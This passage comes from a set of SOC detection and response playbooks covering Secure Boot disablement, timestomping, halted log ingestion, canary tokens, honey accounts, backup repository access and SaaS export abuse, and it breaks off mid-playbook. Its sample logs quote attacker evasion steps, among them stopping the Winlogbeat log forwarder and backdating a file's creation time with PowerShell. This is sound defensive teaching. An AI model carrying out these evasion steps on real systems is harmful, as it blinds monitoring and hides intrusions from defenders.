- Unsigned bootloaders can run
- Malicious kernel drivers can load
- Bootkits can persist undetected
- EDR visibility can be bypassed

Disabling Secure Boot lowers the system's trust boundary before the OS loads.

In enterprise environments, this should almost never occur outside approved maintenance.

3. Why This Detection Matters in 2026

In 2026, advanced attackers increasingly:

- Deploy kernel-level malware
- Install bootkits to evade EDR

- Modify UEFI settings post-compromise
- Disable platform security to stage deeper persistence

Secure Boot disablement often precedes:

- Firmware persistence
- Boot config tampering
- Rootkit deployment
- Ransomware pre-execution staging

If Secure Boot is turned off without approval, assume malicious intent until proven otherwise.

4. Detection Logic

Trigger alert when:

- Secure Boot state changes from ENABLED → DISABLED
- UEFI configuration modified outside change window
- TPM measured boot reports state deviation
- BIOS configuration changed via remote management

Increase severity if:

- Change executed by privileged account
- Occurs on domain controller or financial core system
- Combined with firmware update activity
- Combined with shadow copy deletion or EDR tampering

5. Log Data

System Event Logs

2026-12-02 03:11:22 | SYSTEM_CONFIG_CHANGE | host=SRV-CORE-02 |
setting=SecureBoot | old_value=Enabled | new_value=Disabled

TPM Logs

2026-12-02 03:11:23 | ALERT | host=SRV-CORE-02 | MeasuredBootState=FAILED

BMC Logs

2026-12-02 03:09:44 | BMC_LOGIN_SUCCESS | user=admin | src_ip=185.199.88.45
2026-12-02 03:10:58 | BIOS_SETTING_CHANGE | parameter=SecureBoot | value=Disabled

Pattern shows Secure Boot disabled via remote firmware access.

6. Possible Attack Scenarios

Scenario A – Bootkit Deployment

Attacker disables Secure Boot to allow unsigned malicious bootloader installation.

Scenario B – Kernel Driver Abuse

Malicious driver loaded after disabling signature enforcement.

Scenario C – Pre-Ransomware Preparation

Attacker weakens system protections before deploying destructive payload.

Scenario D – Post-Exploitation Persistence

Secure Boot disabled after initial compromise to maintain long-term stealth access.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Was there an approved maintenance request
- Who changed the Secure Boot state
- From which source IP
- Is the system high-value
- Any concurrent firmware or BIOS changes

Immediate Checks

- Change management validation
- Privileged account audit logs
- TPM status
- Host criticality level
- Recent suspicious processes

Decision

Approved change with documentation → Validate and monitor

No change ticket → Escalate immediately

Critical system affected → Declare Incident

Secure Boot disablement without approval = High confidence malicious.

L2 Analyst – Deep Analysis

Analysis Steps

- Validate BIOS configuration baseline
- Check for unsigned drivers loaded post-change
- Inspect kernel module loads
- Correlate with firmware modification logs
- Check for shadow copy deletion or ransomware staging

High-Risk Indicators

- Secure Boot disabled + firmware update
- Secure Boot disabled + new kernel driver
- Secure Boot disabled + EDR tampering
- Secure Boot disabled + lateral movement

8. Incident Escalation Criteria

Escalate to Incident if:

- Secure Boot disabled without change approval
- Domain controller or financial system affected
- Privileged account involved

Escalate to Critical if:

- Combined with bootkit indicators
- Multiple hosts affected
- Kernel driver persistence detected
- Firmware modification observed

Secure Boot disablement is rarely accidental in enterprise banking environments.

9. Containment Actions

Immediate SOC Actions

- Isolate affected host
- Disable compromised accounts
- Block suspicious management IPs
- Prevent further firmware access

Extended IR Actions

- Re-enable Secure Boot
- Reflash firmware from trusted image
- Validate TPM measurements
- Inspect bootloader integrity
- Rebuild system if trust cannot be re-established

If integrity cannot be guaranteed, replace hardware.

10. Recovery & Validation

Confirm:

- Secure Boot enabled and enforced
- BIOS password protected
- TPM verified
- No unsigned kernel drivers present
- No firmware anomalies

Perform full system integrity validation before rejoining domain.

11. Prevention & Hardening

Control: BIOS Lockdown

Action: Enforce BIOS password and restrict physical access

Control: BMC Segmentation

Action: Isolate management interface on dedicated network

Control: Continuous Configuration Monitoring

Action: Alert on Secure Boot state change

Control: Privileged Access Management

Action: Restrict firmware configuration rights

Control: TPM + Measured Boot

Action: Monitor for boot integrity deviations

12. Mapping to NIST Incident Response

Preparation: Secure Boot baseline enforcement

Detection: Configuration change alert

Analysis: Firmware & kernel validation

Containment: Host isolation

Eradication: Re-enable protections / reflash firmware

Recovery: Controlled revalidation

Lessons Learned: Harden firmware governance

13. SOC Perspective

Secure Boot is a foundational trust control.

When it is disabled:

Trust boundary collapses
Kernel-level attacks become possible
Pre-OS malware can persist

Treat Secure Boot disablement as:

Critical by default
Potential precursor to bootkit
Indicator of advanced compromise

BYZANTINE

[DEFENSE EVASION] PLAYBOOK 93: TIMESTAMP MANIPULATION

– EVADED TIMELINE ANALYSIS

1. Playbook Overview

Playbook ID: SOC-PLAYBOOK-093

Use Case Name: Timestamp Manipulation

MITRE ATT&CK Tactic: Defense Evasion

Technique ID: T1070.006

Technique Name: Timestomp

Threat Category: Anti-Forensics / Evidence Obfuscation

Severity (Default): Medium

Escalation Severity: High (if combined with persistence or malware execution)

Applies To: Endpoints, Servers, File Shares, Domain Controllers

SOC Ownership: L1 → L2 → DFIR / IR Lead

Incident Type: Anti-Forensic Activity / Stealth Persistence

2. Threat Description

The attacker modifies file metadata timestamps such as:

- Creation time
- Modified time
- Accessed time

The goal is to:

- Blend malicious files into older legitimate activity
- Hide malware deployment timing
- Confuse forensic timeline reconstruction
- Evade IOC-based detection rules relying on new file indicators

Timestamp manipulation is commonly performed using:

- PowerShell
- Windows API calls
- Built-in utilities
- Custom malware routines

By itself, it may not confirm compromise.

When paired with suspicious file creation, it becomes high-risk anti-forensic behaviour.

3. Why This Detection Matters in 2026

In 2026, attackers prioritise stealth and dwell time.

Timestomping is frequently observed in:

- Ransomware staging
- APT persistence
- Insider sabotage
- Data theft preparation
- Malware loader deployment

It becomes dangerous when combined with:

- Suspicious file in system directory
- New service creation
- Scheduled task persistence
- Boot configuration tampering
- Shadow copy deletion

If timestamps don't align with system activity logs, assume intentional manipulation.

4. Detection Logic

Trigger alert when:

- File creation time predates system installation date
- Modified time earlier than creation time
- Timestamp anomaly detected via EDR telemetry
- File metadata modified without legitimate update event
- Known timestomp tools executed

Increase severity if:

- File resides in system directory
- File is executable (.exe, .dll, .sys, .ps1)
- File linked to suspicious process
- Combined with persistence mechanism

5. Log Data

EDR File Monitoring Logs

2026-11-14 01:11:22 | FILE_CREATE | host=FIN-SRV-01 |
file=C:\Windows\System32\svcupdate.exe | created=2026-11-14 01:11:22

2026-11-14 01:11:25 | FILE_METADATA_MODIFIED | host=FIN-SRV-01 |
file=C:\Windows\System32\svcupdate.exe | new_creation=2022-06-12 09:15:00

Security Logs

2026-11-14 01:11:24 | PROCESS_START | user=svc-admin | process=powershell.exe | cmd=Set-ItemProperty ... CreationTime

An executable created in 2026 now appears to be from 2022.

Strong anti-forensic indicator.

6. Possible Attack Scenarios

Scenario A – Malware Deployment Camouflage

Attacker drops malicious executable and backdates timestamp to match legitimate system files.

Scenario B – Insider Sabotage

Malicious script deployed and timestamp altered to avoid suspicion during audit.

Scenario C – Persistence Implant

Backdoor implanted and timestomped to blend with OS installation files.

Scenario D – Ransomware Preparation

Payload staged days before encryption event to avoid early detection.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is the file executable or script
- Where is it located
- Was timestamp modification logged
- Any suspicious process associated
- Is file signed

Immediate Checks

- Verify digital signature
- Check hash reputation
- Compare against golden image baseline
- Correlate process execution timeline
- Check parent process

Decision

Benign system update → Close
Unsigned executable in system path → Escalate
Timestamp anomaly + suspicious process → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Validate file compile timestamp
- Extract and analyse hash in sandbox
- Review persistence mechanisms
- Correlate with user logon session
- Check lateral movement indicators

High-Risk Indicators

- Timestamp + new service creation
- Timestamp + scheduled task
- Timestamp + unsigned driver
- Timestamp + shadow copy deletion

8. Incident Escalation Criteria

Escalate to Incident if:

- Timestamp manipulation confirmed on executable
- Combined with suspicious process activity
- Occurs on high-value system

Escalate to High if:

- Linked to malware
- Linked to persistence mechanism
- Timeline manipulation used to hide breach activity

Escalate to Critical if:

- Domain controller impacted
- Combined with firmware or boot tampering
- Associated with ransomware staging

9. Containment Actions

Immediate SOC Actions

- Isolate host if malware suspected
- Quarantine suspicious file
- Disable compromised account
- Capture memory for analysis

Extended IR Actions

- Reconstruct timeline using EDR telemetry
- Validate file system integrity
- Check for additional timestamped files
- Conduct full malware sweep

10. Recovery & Validation

Confirm:

- Malicious file removed
- No additional persistence
- Timeline reconstructed accurately
- System integrity verified

If anti-forensic behaviour widespread, consider system rebuild.

11. Prevention & Hardening

Control: EDR File Integrity Monitoring
Action: Alert on metadata modification

Control: Least Privilege
Action: Restrict file attribute modification rights

Control: Application Whitelisting
Action: Block unsigned executables in system directories

Control: Centralised Logging
Action: Preserve immutable audit logs

12. Mapping to NIST Incident Response

Preparation: File integrity monitoring baseline

Detection: Metadata change alert

Analysis: Timeline reconstruction

Containment: Host isolation

Eradication: Malware removal

Recovery: System validation

Lessons Learned: Improve anti-forensic detection tuning

13. SOC Perspective

Timestamp manipulation is an anti-forensic tactic.

It does not attack availability directly.

It attacks your ability to understand what happened.

Treat timestomping as:

Medium risk alone

High risk when linked to executable files

Critical when tied to persistence or ransomware staging

[DEFENSE EVASION] PLAYBOOK 94: LOG INGESTION HALTED – SOC VISIBILITY LOSS

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-094
- Use Case Name: Log Ingestion Halted
- MITRE ATT&CK Tactic: Defense Evasion
- Technique ID: T1562
- Technique Name: Impair Defenses
- Threat Category: Monitoring Evasion / SOC Blinding
- Severity (Default): Critical
- Escalation Severity: Critical (Immediate IR Engagement)
- Applies To: SIEM, EDR, Firewall Logs, Cloud Logs, Application Logs
- SOC Ownership: L1 → L2 → SOC Engineering → IR Lead
- Incident Type: Monitoring Disruption / Active Evasion

2. Threat Description

The attacker disrupts logging or monitoring mechanisms to reduce visibility before or during malicious activity.

Common methods include:

- Stopping log forwarding agents
- Disabling EDR services
- Modifying syslog configurations
- Blocking outbound log traffic
- Tampering with cloud audit logging
- Flooding ingestion pipelines to cause failure

The objective is to:

- Blind SOC monitoring
- Avoid detection of lateral movement
- Hide privilege escalation
- Conceal ransomware staging
- Prevent forensic reconstruction

Unlike benign outages, malicious log disruption often coincides with suspicious system activity.

3. Why This Detection Matters in 2026

Modern attackers understand that detection is telemetry-driven.

In 2026, log disruption is often observed before:

- Ransomware deployment
- Data exfiltration
- Domain admin compromise
- Shadow copy deletion
- Boot tampering

This is no longer random failure. If logs stop flowing during suspicious activity, assume intentional evasion.

Especially dangerous when combined with:

- New admin account creation
- Suspicious PowerShell execution
- Network scanning
- Backup access
- Security tool termination

4. Detection Logic

Trigger alert when:

- Log source stops sending data unexpectedly
- Heartbeat from EDR agent missing
- SIEM ingestion pipeline drops to zero
- Sudden drop in expected log volume
- Audit policy disabled

Increase severity if:

- High-value server affected
- Domain controller impacted
- Multiple log sources stop simultaneously
- Log stop correlates with suspicious activity
- Security service termination logged

5. Log Data

SIEM Health Monitoring Logs

2026-11-18 01:02:11 | SOURCE_HEARTBEAT_OK | source=FIN-DC-01
2026-11-18 01:07:12 | SOURCE_HEARTBEAT_MISSING | source=FIN-DC-01
2026-11-18 01:07:15 | INGESTION_DROP | source=FIN-DC-01 | volume=0

Endpoint Logs (Prior Event)

2026-11-18 01:06:58 | PROCESS_START | user=svc-admin | process=sc.exe | cmd=stop winlogbeat
2026-11-18 01:07:01 | SERVICE_STOP | service=Winlogbeat

Correlation shows log forwarding intentionally stopped.

6. Possible Attack Scenarios

Scenario A – Pre-Ransomware Blindfold
Attacker disables logging before encrypting systems.

Scenario B – Privilege Escalation Concealment
Domain controller logs halted before admin role modification.

Scenario C – Data Exfiltration Masking
Firewall logs disabled before large outbound transfer.

Scenario D – Insider Evasion
Employee disables monitoring before mass file copying.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which log source stopped
- Is this planned maintenance
- Any change ticket raised
- Is source reachable
- Any suspicious activity before stop

Immediate Checks

- Validate host availability
- Check SIEM pipeline health
- Contact system owner
- Review last 30 minutes of logs
- Check security service status

Decision

- Planned maintenance → Close
- Pipeline issue only → SOC Engineering
- Unplanned + suspicious activity → Escalate Immediately

L2 Analyst – Deep Analysis

Analysis Steps

- Identify exact stop timestamp
- Correlate with suspicious processes
- Review service termination events
- Check firewall logs for blocking
- Review cloud audit configuration

High-Risk Indicators

- Log stop + privilege escalation
- Log stop + EDR disabled
- Log stop + outbound spike
- Log stop on domain controller

8. Incident Escalation Criteria

Escalate to Incident if:

- Security service deliberately stopped
- Log forwarding configuration altered
- Audit policy disabled
- Host unreachable during suspicious activity

Escalate to Critical if:

- Domain controller logs halted
- Multiple high-value systems affected
- Log stop precedes ransomware behaviour
- EDR tampering detected

9. Containment Actions

Immediate SOC Actions

- Isolate affected host
- Restart log agents remotely
- Preserve volatile evidence
- Block suspicious user accounts
- Enable emergency logging mode

Extended IR Actions

- Re-enable audit policies
- Validate SIEM integrity
- Deploy forensic agent
- Audit all admin actions during blind period
- Review backups

10. Recovery & Validation

Confirm:

- Logging restored
- No tampering remains
- All audit policies active
- Log flow consistent and stable
- No hidden lateral movement

Conduct timeline reconstruction using:

- Network telemetry
- Endpoint memory
- Backup logs

11. Prevention & Hardening

Control: Log Heartbeat Monitoring

Action: Alert on missing telemetry within minutes

Control: Tamper Protection

Action: Lock EDR and logging services

Control: Immutable Logging

Action: Forward logs to write-once storage

Control: Privileged Access Monitoring

Action: Alert on audit policy modification

Control: Zero Trust Architecture

Action: Restrict service stop permissions

12. Mapping to NIST Incident Response

- Preparation: Centralised logging with tamper protection
- Detection: Missing log source alert
- Analysis: Correlate with suspicious activity
- Containment: Host isolation and service restoration
- Eradication: Remove attacker access
- Recovery: Restore full telemetry visibility
- Lessons Learned: Improve log resilience and alert thresholds

13. SOC Perspective

When logs stop, visibility stops. When visibility stops, attackers move freely. Log ingestion failure is not just a technical issue. It is often a strategic move by the attacker.

Treat it as:

- Critical by default
- Immediate investigation required
- High probability of active compromise

[DISCOVERY] PLAYBOOK 95: CANARY TOKEN TRIGGERED – ACCESSED DECOY ASSETS

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-095
- Use Case Name: Canary Token Triggered
- MITRE ATT&CK Tactic: Discovery
- Technique ID: T1083
- Technique Name: File & Directory Discovery
- Threat Category: Reconnaissance Exposure / Deception Alert
- Severity (Default): Medium
- Escalation Severity: High / Critical (if correlated with other activity)
- Applies To: File Shares, Cloud Storage, Email, Databases, Source Code Repositories
- SOC Ownership: L1 → L2 → Threat Hunting → IR Lead
- Incident Type: Suspicious Reconnaissance / Early Intrusion Indicator

2. Threat Description

A decoy asset (canary token) has been accessed.

Canary tokens may include:

- Fake credentials embedded in files
- Decoy documents placed on file shares
- Honey API keys
- Fake database connection strings
- Instrumented URLs
- Honey SharePoint or cloud storage objects

When accessed, they generate a silent alert to the SOC.

This is rarely accidental in controlled environments.

It typically indicates:

- Unauthorized browsing
- Lateral movement reconnaissance
- Insider curiosity
- Credential harvesting attempts

3. Why This Detection Matters in 2026

In 2026, deception-based detection is one of the highest-confidence signals.

Attackers now:

- Search file shares for “password”, “finance”, “backup”
- Enumerate cloud storage
- Scan repositories for secrets
- Crawl internal documents after compromise

Legitimate users do not normally access:

- Hidden honey files
- Fake service accounts
- Embedded decoy credentials

Canary triggers often indicate early-stage compromise before impact occurs.

This detection becomes dangerous when paired with:

- New admin login
- Suspicious PowerShell execution
- VPN login from TOR
- File compression tools
- Privilege escalation

4. Detection Logic

Trigger alert when:

- Decoy file opened
- Honey credential used in authentication attempt
- Instrumented URL accessed
- Fake API key validated
- Canary object accessed in cloud storage

Increase severity if:

- Access originates from non-baselined device
- Account is privileged
- Access occurs outside business hours
- Multiple canary assets triggered
- Followed by file enumeration or exfil activity

5. Log Data

File Share Monitoring Logs

2026-12-02 14:21:11 | FILE_ACCESS | user=amir.k |
file=\\FS01\\Finance\\Payroll_Master_Passwords.xlsx

2026-12-02 14:21:12 | CANARY_TRIGGER | token_id=FIN-HONEY-004 | user=amir.k |
host=HR-LAP-22

Cloud Honey Credential Logs

2026-12-02 14:22:44 | AUTH_ATTEMPT | username=svc-backup-decoy | result=FAILED |
ip=10.44.21.87

2026-12-02 14:22:45 | CANARY_ALERT | credential=svc-backup-decoy

Pattern indicates reconnaissance behaviour.

6. Possible Attack Scenarios

Scenario A – Post-Compromise File Browsing

Attacker lands on endpoint and searches file shares for sensitive documents.

Scenario B – Insider Curiosity

Employee attempts to explore restricted finance folders.

Scenario C – Credential Harvesting

Attacker extracts decoy credential from document and attempts login.

Scenario D – Lateral Movement Discovery

Threat actor enumerates high-value directories to identify next targets.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Which token was triggered
- Which user accessed it
- From which host
- Was the access interactive or automated
- Is the user authorised to that directory

Immediate Checks

- User activity timeline (last 24 hours)
- Endpoint risk score
- Recent login anomalies

- File enumeration activity
- Network scan indicators

Decision

- Authorized user + legitimate reason → Close with documentation
- Unusual access + no impact → Escalate to L2
- Canary + suspicious activity → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with authentication anomalies
- Check PowerShell or script execution
- Review file access patterns (bulk enumeration?)
- Check for compression tools (7zip, rar, tar)
- Review outbound network traffic

High-Risk Indicators

- Multiple honey tokens triggered
- Honey credential used externally
- Privileged account involved
- TOR/VPN login observed
- Data staging activity detected

8. Incident Escalation Criteria

Escalate to Incident if:

- Canary credential used in authentication
- Multiple decoy files accessed
- Trigger followed by sensitive file enumeration
- Endpoint shows malware indicators

Escalate to Critical if:

- Domain admin involved
- Data exfiltration follows
- Canary triggered from external IP
- Insider sabotage suspected

9. Containment Actions

Immediate SOC Actions

- Isolate affected endpoint
- Reset user credentials
- Revoke active sessions
- Disable compromised accounts
- Preserve forensic evidence

Extended IR Actions

- Deploy full EDR scan
- Review file share access logs (30–90 days)
- Hunt for similar reconnaissance patterns
- Validate integrity of sensitive directories

10. Recovery & Validation

Confirm:

- No sensitive files exfiltrated
- No privilege escalation occurred
- No additional accounts compromised
- All decoy assets intact
- Logging remains active

Reinforce deception coverage if gaps identified.

11. Prevention & Hardening

Control: Deception Technology

Action: Expand honey assets across high-value zones

Control: File Access Monitoring

Action: Alert on unusual enumeration

Control: Least Privilege

Action: Restrict access to sensitive shares

Control: Insider Monitoring

Action: UEBA on abnormal browsing patterns

Control: Token Diversity

Action: Deploy honey credentials in multiple environments

12. Mapping to NIST Incident Response

- Preparation: Deploy deception assets
- Detection: Canary token alert
- Analysis: Behaviour correlation
- Containment: Endpoint isolation
- Eradication: Remove attacker presence
- Recovery: Validate asset integrity
- Lessons Learned: Expand deception strategy

13. SOC Perspective

Canary alerts are rarely noise.

They are:

- Early intrusion signals
- High-confidence reconnaissance indicators
- Opportunity to stop attackers before impact

Treat it as:

- Medium alone
- High when contextual
- Critical when combined with compromise signals

[CREDENTIAL ACCESS] PLAYBOOK 96: HONEY ACCOUNT LOGIN

– CREDENTIAL TESTING

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-096
- Use Case Name: Honey Account Login
- MITRE ATT&CK Tactic: Credential Access
- Technique ID: T1110
- Technique Name: Brute Force
- Threat Category: Credential Testing / Password Spraying
- Severity (Default): High
- Escalation Severity: Critical (if combined with other identity anomalies)
- Applies To: Active Directory, Azure AD, O365, VPN, Internet Banking, Cloud IAM
- SOC Ownership: L1 → L2 → Identity Security → IR Lead
- Incident Type: Credential Validation / Pre-Compromise Indicator

2. Threat Description

A decoy (honey) account has received an authentication attempt.

Honey accounts are:

- Non-production user accounts
- Not assigned to real employees
- Not used for legitimate business activity
- Monitored for any authentication activity

Any login attempts successful or failed against a honey account is highly suspicious.

This typically indicates:

- Password spraying campaign
- Credential stuffing attack
- Automated brute-force testing
- Reconnaissance of valid usernames

Unlike normal accounts, honey accounts should never receive authentication traffic.

3. Why This Detection Matters in 2026

In 2026, attackers commonly:

- Harvest usernames from LinkedIn or breaches
- Perform low-and-slow password spraying
- Validate credentials before launching ATO
- Use residential proxies or TOR infrastructure

Honey account logins are strong early-warning indicators of:

- Large-scale credential testing
- Targeted identity reconnaissance
- Ransomware pre-access operations
- Fraud preparation

This detection becomes critical when paired with:

- Excessive failed logins
- TOR/VPN logins
- MFA fatigue attempts
- Successful login to real accounts
- Privileged account targeting

4. Detection Logic

Trigger alert when:

- Any login attempt targets a honey account
- Authentication attempts exceed threshold within time window
- Same source IP attempts multiple usernames including honey
- Failed login to honey followed by success on real account

Increase severity if:

- Login originates from TOR/VPN
- Login originates from foreign geolocation
- Account lockout threshold reached

- Multiple honey accounts targeted
- Attempt uses privileged naming convention (admin, svc, backup)

5. Log Data

Identity Provider Logs

2026-12-03 01:11:22 | LOGIN_FAILED | user=finance-admin-decoy | ip=185.220.101.12 | result=INVALID_PASSWORD

2026-12-03 01:11:25 | LOGIN_FAILED | user=hr-admin-decoy | ip=185.220.101.12 | result=INVALID_PASSWORD

2026-12-03 01:11:28 | LOGIN_FAILED | user=amir.k | ip=185.220.101.12 | result=INVALID_PASSWORD

2026-12-03 01:11:31 | LOGIN_SUCCESS | user=amir.k | ip=185.220.101.12

Pattern shows credential validation using honey accounts before real account compromise.

6. Possible Attack Scenarios

Scenario A – Password Spraying Campaign

Attacker tests common passwords against multiple usernames including decoys.

Scenario B – Credential Stuffing

Bot tests leaked credential pairs across multiple accounts.

Scenario C – Targeted Identity Attack

Threat actor validates which accounts exist before launching phishing or MFA fatigue.

Scenario D – Ransomware Pre-Access

Attacker tests credentials quietly before privilege escalation.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is this a failed or successful login
- Which honey account was targeted
- Source IP reputation
- Was the same IP used for real accounts
- Volume of login attempts

Immediate Checks

- Login attempts within 30-minute window
- TOR/VPN classification
- Account lockout logs
- Baseline of IP activity
- Geo anomaly

Decision

- Single isolated failed attempt → Monitor
- Multiple attempts or pattern → Escalate to L2
- Honey + successful real login → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate IP across all authentication logs
- Identify additional targeted usernames
- Review successful login events
- Review MFA prompts
- Check for token creation or OAuth events

High-Risk Indicators

- Honey account targeted first
- Same IP succeeds on valid account
- Privileged accounts included in spray
- Attempts from anonymised infrastructure
- Spray across multiple services (VPN + O365)

8. Incident Escalation Criteria

Escalate to Incident if:

- Honey login attempt followed by successful login to real account
- Multiple honey accounts targeted
- High-volume password spraying observed
- Admin accounts targeted

Escalate to Critical if:

- Successful login to privileged account
- MFA bypass detected
- OAuth token created
- Lateral movement follows

9. Containment Actions

Immediate SOC Actions

- Block source IP (if feasible)
- Enable conditional access enforcement
- Force password reset for targeted accounts
- Enforce MFA re-registration
- Monitor for continued spray attempts

Extended IR Actions

- Review authentication logs for 7–30 days
- Conduct threat hunting on affected endpoints
- Validate no persistence created
- Notify affected users

10. Recovery & Validation

Confirm:

- No successful compromise occurred
- No privileged roles assigned
- No new devices registered
- No session tokens active
- No data access anomalies

Maintain heightened monitoring for 24–72 hours.

11. Prevention & Hardening

Control: Strong Password Policy

Action: Enforce complex passwords and rotation

Control: Phishing-Resistant MFA

Action: Enforce FIDO2 / hardware tokens

Control: Conditional Access

Action: Block high-risk geolocations and TOR

Control: Identity Monitoring

Action: Alert on honey account login attempts

Control: Rate Limiting

Action: Implement login attempt throttling

12. Mapping to NIST Incident Response

- Preparation: Deploy honey accounts
- Detection: Honey login alert
- Analysis: Correlate authentication patterns
- Containment: Block source and reset credentials
- Eradication: Remove compromised access
- Recovery: Controlled user validation
- Lessons Learned: Improve spray detection thresholds

13. SOC Perspective

Honey account login is one of the strongest early indicators of credential attack activity.

Unlike normal login alerts:

- There is no legitimate explanation.

Treat it as:

- High risk by default
- Critical when correlated
- Immediate investigation required

[COLLECTION] PLAYBOOK 97: BACKUP REPOSITORY ACCESS – PREPARED MASS THEFT

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-097
- Use Case Name: Backup Repository Access
- MITRE ATT&CK Tactic: Collection
- Technique ID: T1213
- Technique Name: Data from Repositories
- Threat Category: Backup Targeting / Pre-Destruction Recon
- Severity (Default): Critical
- Escalation Severity: Critical (Immediate IR Engagement Required)
- Applies To: Veeam, Commvault, Rubrik, Cloud Backup (Azure Backup, AWS Backup), NAS Repositories, Offsite Storage
- SOC Ownership: L1 → L2 → IR Lead → Infrastructure & Backup Team
- Incident Type: Data Staging / Ransomware Preparation / Mass Exfiltration

2. Threat Description

An attacker gains access to backup repositories.

This behaviour is extremely high risk because backup systems contain:

- Full server images
- Database backups
- File share archives
- Email backups
- Historical sensitive data

Attackers access backups to:

- Stage mass data theft
- Exfiltrate high-value data in bulk
- Destroy or encrypt backups before ransomware deployment

- Understand recovery posture before launching destructive attacks

Backup access by unauthorised users is rarely benign.

3. Why This Detection Matters in 2026

In 2026, ransomware groups follow a structured playbook:

1. Initial access
2. Credential escalation
3. Backup discovery
4. Backup destruction or theft
5. Encryption
6. Extortion

Modern attackers:

- Target backup APIs directly
- Enumerate backup storage via admin credentials
- Disable immutability features
- Delete retention points
- Export backup archives to attacker-controlled cloud accounts

Backup repository access is often the last warning before catastrophic impact.

This detection becomes critical when paired with:

- Privilege escalation
- Shadow copy deletion
- Admin role changes
- Large outbound data transfer
- Log tampering

4. Detection Logic

Trigger alert when:

- Non-backup admin accesses backup repository

- Backup configuration viewed or modified unexpectedly
- Backup export operation initiated
- Large backup archive downloaded
- Backup API accessed from new device or IP

Increase severity if:

- Access occurs outside maintenance window
- Admin account recently escalated
- MFA not present
- TOR/VPN infrastructure detected
- Multiple backup systems accessed in short time

5. Log Data

Backup System Logs

2026-07-14 01:11:42 | LOGIN_SUCCESS | user=svc-backup-admin | src_ip=10.10.4.22
2026-07-14 01:12:01 | BACKUP_REPOSITORY_ENUM | repo=Finance_Backup_Cluster
2026-07-14 01:12:33 | BACKUP_EXPORT_INITIATED | dataset=SQL-FINANCE-ARCHIVE | size=1.8TB
2026-07-14 01:13:10 | RETENTION_POLICY_VIEWED | immutability=ENABLED

SIEM Correlation

2026-07-14 00:48:09 | PRIV_ROLE_ASSIGNED | user=svc-backup-admin | role=Backup Administrator
2026-07-14 00:50:33 | LOGIN_SUCCESS | user=svc-backup-admin | ip=185.220.101.44 | asn=VPN

Pattern shows privilege escalation followed by backup targeting.

6. Possible Attack Scenarios

Scenario A – Ransomware Pre-Encryption Phase

Attacker enumerates backup repositories to disable or delete recovery options.

Scenario B – Double Extortion

Attacker exports backup data to exfiltrate large historical datasets.

Scenario C – Recovery Capability Assessment

Attacker checks immutability settings to determine negotiation leverage.

Scenario D – Insider Theft

Privileged employee exports archived corporate data before resignation.

7. SOC Triage Workflow

L1 Analyst – Initial Triage

Questions to Answer

- Is the user authorised for backup administration
- Is this within a maintenance window
- Is backup export expected
- Was privilege recently assigned
- Source IP reputation

Immediate Checks

- Change management records
- Admin role assignment history
- ASN and geolocation
- Device fingerprint
- Backup export size

Decision

- Approved maintenance → Validate and close
- Unplanned admin access → Escalate to L2
- Backup export initiated unexpectedly → Incident

L2 Analyst – Deep Analysis

Analysis Steps

- Correlate with privilege escalation logs
- Check for shadow copy deletion
- Check for ransomware indicators

- Review outbound traffic volume
- Review cloud transfer events

High-Risk Indicators

- Backup export + VPN/TOR
- Backup immutability disabled
- Retention policies modified
- Mass export of archives
- Backup deletion commands issued

8. Incident Escalation Criteria

Escalate to Incident if:

- Backup export initiated unexpectedly
- Backup retention modified
- Backup admin role recently granted
- Repository accessed outside approved window

Escalate to Critical if:

- Immutability disabled
- Backup deletion attempted
- Large outbound transfer detected
- Ransomware indicators present

Immediate IR engagement required.

9. Containment Actions

Immediate SOC Actions

- Suspend backup admin account
- Terminate active backup sessions
- Block suspicious IP
- Disable API tokens
- Preserve forensic logs

Extended IR Actions

- Isolate affected backup server
- Enable emergency immutability lock
- Snapshot repository state
- Review all admin account activity
- Activate ransomware readiness plan

10. Recovery & Validation

Confirm:

- Backup immutability intact
- No repositories deleted
- No retention modified
- No backup export completed
- No ransomware deployment

Revalidate backup integrity via restore testing.

11. Prevention & Hardening

Control: Immutable Backups

Action: Enable WORM / object lock

Control: Privileged Access Management

Action: Just-in-time backup admin access

Control: MFA

Action: Enforce phishing-resistant MFA for backup systems

Control: Network Segmentation

Action: Isolate backup infrastructure

Control: SIEM Monitoring

Action: Alert on backup export + privilege change

12. Mapping to NIST Incident Response

- Preparation: Immutable backups, PAM controls
- Detection: Backup repository access alert
- Analysis: Privilege and activity correlation

- Containment: Suspend admin account
- Eradication: Remove attacker access
- Recovery: Restore validation testing
- Lessons Learned: Harden backup isolation

13. SOC Perspective

Backup repository access by unauthorised users is never a minor event.

In modern attack chains, it signals:

- Imminent ransomware
- Mass data theft
- Destructive preparation

Treat it as:

- Critical by default
- Immediate IR engagement
- Priority one investigation

[EXFILTRATION] PLAYBOOK 98: SAAS EXPORT ABUSE – BULK CLOUD DATA THEFT

1. Playbook Overview

- Playbook ID: SOC-PLAYBOOK-098
- Use Case Name: SaaS Export Abuse
- MITRE ATT&CK Tactic: Exfiltration
- Technique ID: T1537
- Technique Name: Transfer to Cloud Account
- Threat Category: Cloud Data Exfiltration / Double Extortion
- Severity (Default): Critical
- Escalation Severity: Critical (Immediate IR Activation)
- Applies To: Microsoft 365, Google Workspace, Salesforce, ServiceNow, CRM, HR SaaS, Collaboration Platforms
- SOC Ownership: L1 → L2 → IR Lead → Cloud Security Team
- Incident Type: Large-Scale Data Exfiltration

2. Threat Description

An attacker abuses legitimate SaaS export features to extract data.

Instead of using malware or network exfiltration, the attacker:

- Uses built-in “Export mailbox” features
- Initiates full SharePoint / Drive export
- Exports CRM datasets
- Transfers archives to attacker-controlled cloud accounts
- Uses OAuth tokens or API keys to automate export

This is stealthier than traditional exfiltration because:

- Traffic appears legitimate
- No malware required
- No firewall rule bypass needed
- Uses trusted SaaS APIs

This is common in double-extortion ransomware and insider theft.

3. Why This Detection Matters in 2026

In 2026, cloud-first organisations rely heavily on SaaS.

Attackers now prefer:

- Cloud-native exfiltration
